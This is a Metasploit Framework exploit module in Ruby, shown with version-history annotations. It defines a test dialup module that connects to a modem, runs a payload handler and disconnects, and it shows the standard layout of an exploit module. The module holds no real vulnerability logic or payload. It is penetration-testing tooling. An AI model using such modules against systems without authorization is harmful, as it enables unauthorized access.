2009-01-11 06:09:02 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/projects/Framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Dialup
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Test Dialup Exploit',
|
|
|
|
'Description' => %q{
|
|
|
|
This exploit connects to a system's modem over dialup and provides
|
|
|
|
the user with a readout of the login banner.
|
|
|
|
},
|
2009-03-28 06:03:35 +00:00
|
|
|
'Version' => '$Revision$',
|
2009-01-11 06:09:02 +00:00
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'I)ruid',
|
|
|
|
],
|
2009-01-14 05:46:10 +00:00
|
|
|
'Arch' => ARCH_TTY,
|
2009-01-11 06:09:02 +00:00
|
|
|
'Platform' => ['unix'],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1000,
|
|
|
|
'BadChars' => '',
|
2009-01-14 05:46:10 +00:00
|
|
|
'DisableNops' => true,
|
2009-01-11 06:09:02 +00:00
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['Automatic', { } ],
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0
|
|
|
|
))
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2009-01-14 05:46:10 +00:00
|
|
|
connect_dialup
|
|
|
|
handler
|
|
|
|
disconnect_dialup
|
2009-01-11 06:09:02 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|